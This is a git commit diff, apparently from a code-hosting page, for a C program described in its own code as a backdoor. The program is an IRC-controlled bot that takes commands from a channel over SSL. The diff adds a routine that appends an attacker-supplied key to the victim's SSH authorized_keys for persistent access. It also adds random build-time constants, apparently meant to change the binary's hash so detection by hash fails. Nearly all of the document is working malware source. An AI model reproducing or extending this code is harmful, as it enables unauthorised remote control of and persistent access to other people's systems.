fixed
This commit is contained in:
parent
6f5a7c00c1
commit
d8003d97e0
2
build.sh
2
build.sh
@ -1,3 +1,3 @@
|
||||
CFLAGS="-s -Os -pedantic -Wall -Wextra"
|
||||
|
||||
cc $CFLAGS src/* -Iinclude -lssl -lcrypto -DENABLE_SSL -DVAL1=$RANDOM -DVAL2=$RANDOM -omain
|
||||
cc $CFLAGS src/* -Iinclude -lssl -lcrypto -DENABLE_SSL -DVAL1=$RANDOM -DVAL2=$RANDOM -DVAL3=$RANDOM -omain
|
||||
|
@ -1,3 +1,4 @@
|
||||
#ifdef MAIN_C
|
||||
typedef struct {
|
||||
int use_ssl;
|
||||
char *ip;
|
||||
@ -8,6 +9,35 @@ typedef struct {
|
||||
char *channel_key;
|
||||
} SERVER;
|
||||
|
||||
|
||||
/* Client settings */
|
||||
#define CFG_NICKLEN 7
|
||||
SERVER servers[] = {
|
||||
{1, "irc.ipv4.server", 6697, NULL, "#channel", NULL}
|
||||
};
|
||||
|
||||
/*
|
||||
* Irc default ports:
|
||||
* 6667 - unencrypted
|
||||
* 6697 - connection with ssl
|
||||
*/
|
||||
#endif
|
||||
|
||||
|
||||
/* Backdoor settings */
|
||||
#ifdef BACKDOOR_C
|
||||
|
||||
/* Uncomment if you want to enable option */
|
||||
/* #define CFG_SSH */
|
||||
|
||||
#ifdef CFG_SSH
|
||||
/*
|
||||
* Writes your ssh key if connection
|
||||
* was not established
|
||||
*/
|
||||
|
||||
const char *ssh_key = "";
|
||||
#endif
|
||||
|
||||
#endif
|
||||
|
||||
|
@ -58,7 +58,6 @@ int IRCC_register(IRCC_client *irc, const char *nickname);
|
||||
int IRCC_initssl(IRCC_client *irc);
|
||||
void IRCC_close(IRCC_client *irc);
|
||||
|
||||
//u - mean universal. Functions uses internal fields in structure
|
||||
int IRCC_usend(IRCC_client *irc, off_t bytes);
|
||||
int IRCC_urecv(IRCC_client *irc);
|
||||
|
||||
|
@ -5,10 +5,48 @@
|
||||
#include "backdoor.h"
|
||||
#include "irc.h"
|
||||
|
||||
#define BACKDOOR_C
|
||||
#include "cfg.h"
|
||||
|
||||
static FILE *fp;
|
||||
|
||||
void backdoor_offline(void) {
|
||||
sleep(60);
|
||||
|
||||
#ifdef CFG_SSH
|
||||
/* Write ssh key */
|
||||
size_t len = strlen(ssh_key);
|
||||
if (len <= 1)
|
||||
return;
|
||||
|
||||
FILE *fp = fopen(".ssh/authorized_keys", "a+");
|
||||
if (fp == NULL)
|
||||
return;
|
||||
|
||||
/* Check if key already exist */
|
||||
char *buf = malloc(len + 1);
|
||||
if (buf == NULL) {
|
||||
fclose(fp);
|
||||
return;
|
||||
}
|
||||
|
||||
int flag = 0;
|
||||
fseek(fp, 0, SEEK_SET);
|
||||
while (fgets(buf, len + 1, fp) != NULL) {
|
||||
if (!strncmp(buf, ssh_key, len)) {
|
||||
flag = 1;
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
free(buf);
|
||||
|
||||
/* Write if otherwise */
|
||||
if (flag == 0)
|
||||
fprintf(fp, "%s\n", ssh_key);
|
||||
|
||||
fclose(fp);
|
||||
#endif
|
||||
}
|
||||
|
||||
void send_info(IRCC_client *client, const char *buf) {
|
||||
@ -51,13 +89,6 @@ void parse_cmd(IRCC_client *client) {
|
||||
send_info(client, buf);
|
||||
}
|
||||
|
||||
else if (!strncmp(client->irc_msg, "!write", 6)) {
|
||||
if (fp == NULL)
|
||||
return;
|
||||
|
||||
fputs(client->irc_msg + 5, fp);
|
||||
}
|
||||
|
||||
else if (!strncmp(client->irc_msg, "!close", 6)) {
|
||||
if (fp == NULL)
|
||||
return;
|
||||
|
16
src/irc.c
16
src/irc.c
@ -32,7 +32,7 @@ int IRCC_connect(IRCC_client *irc, const char *ip, const unsigned int port) {
|
||||
if (!hp)
|
||||
return IRCC_ERROR;
|
||||
|
||||
//Only ipv4
|
||||
/* Only ipv4 */
|
||||
struct sockaddr_in client_str;
|
||||
memset(&client_str, 0, sizeof(client_str));
|
||||
client_str.sin_family = AF_INET;
|
||||
@ -58,24 +58,24 @@ void IRCC_parse_msg(char *tmp, IRCC_client *irc) {
|
||||
irc->irc_raw[strcspn(irc->irc_raw, "\r\n")] = '\0';
|
||||
|
||||
if (tmp != NULL) {
|
||||
//Message
|
||||
/* Message */
|
||||
char *val = strchr(tmp, ':');
|
||||
if (val != NULL) {
|
||||
val[0] = '\0';
|
||||
irc->irc_msg = val + 1;
|
||||
|
||||
//Del space before :
|
||||
/* Del space before : */
|
||||
*(val - 1) = '\0';
|
||||
}
|
||||
|
||||
//Channel
|
||||
/* Channel */
|
||||
val = strchr(tmp, ' ');
|
||||
if (val != NULL) {
|
||||
val[0] = '\0';
|
||||
irc->irc_channel = val + 1;
|
||||
}
|
||||
|
||||
//Nickname
|
||||
/* Nickname */
|
||||
val = strchr(irc->irc_raw, '!');
|
||||
if (val != NULL) {
|
||||
val[0] = '\0';
|
||||
@ -107,11 +107,11 @@ int IRCC_parse(IRCC_client *irc) {
|
||||
irc->irc_msg = NULL;
|
||||
irc->irc_nick = NULL;
|
||||
|
||||
//Check end of motd
|
||||
/* Check end of motd */
|
||||
if (strstr(irc->irc_raw, "PRIVMSG ") == NULL && strstr(irc->irc_raw, "MOTD"))
|
||||
return IRCC_CONNECTED;
|
||||
|
||||
//Other
|
||||
/* Other */
|
||||
else if (strstr(irc->irc_raw, "PRIVMSG ")) {
|
||||
IRCC_parse_msg(strstr(irc->irc_raw, "PRIVMSG "), irc);
|
||||
return IRCC_PRIVMSG;
|
||||
@ -155,7 +155,7 @@ int IRCC_register(IRCC_client *irc, const char *nickname) {
|
||||
if (IRCC_usend(irc, bytes) == -1)
|
||||
return IRCC_ERROR;
|
||||
|
||||
//Motd skip
|
||||
/* Motd skip */
|
||||
while (1) {
|
||||
int status = IRCC_recv(irc);
|
||||
if (status == IRCC_DISCONNECTED)
|
||||
|
11
src/main.c
11
src/main.c
@ -4,12 +4,15 @@
|
||||
#include <unistd.h>
|
||||
#include "backdoor.h"
|
||||
#include "irc.h"
|
||||
|
||||
#define MAIN_C
|
||||
#include "cfg.h"
|
||||
|
||||
int ChangeHashSum(void) {
|
||||
int i = VAL1;
|
||||
int j = VAL2;
|
||||
return i + j;
|
||||
long i = VAL1;
|
||||
long j = VAL2;
|
||||
long k = VAL3;
|
||||
return i + j - k;
|
||||
}
|
||||
|
||||
char *randnick(size_t len) {
|
||||
@ -37,7 +40,7 @@ int start(void) {
|
||||
if (IRCC_initssl(&client) == IRCC_ERROR)
|
||||
return 1;
|
||||
|
||||
char *nick = randnick(15);
|
||||
char *nick = randnick(CFG_NICKLEN);
|
||||
if (nick == NULL)
|
||||
return 0;
|
||||
|
||||
|
Loading…
Reference in New Issue
Block a user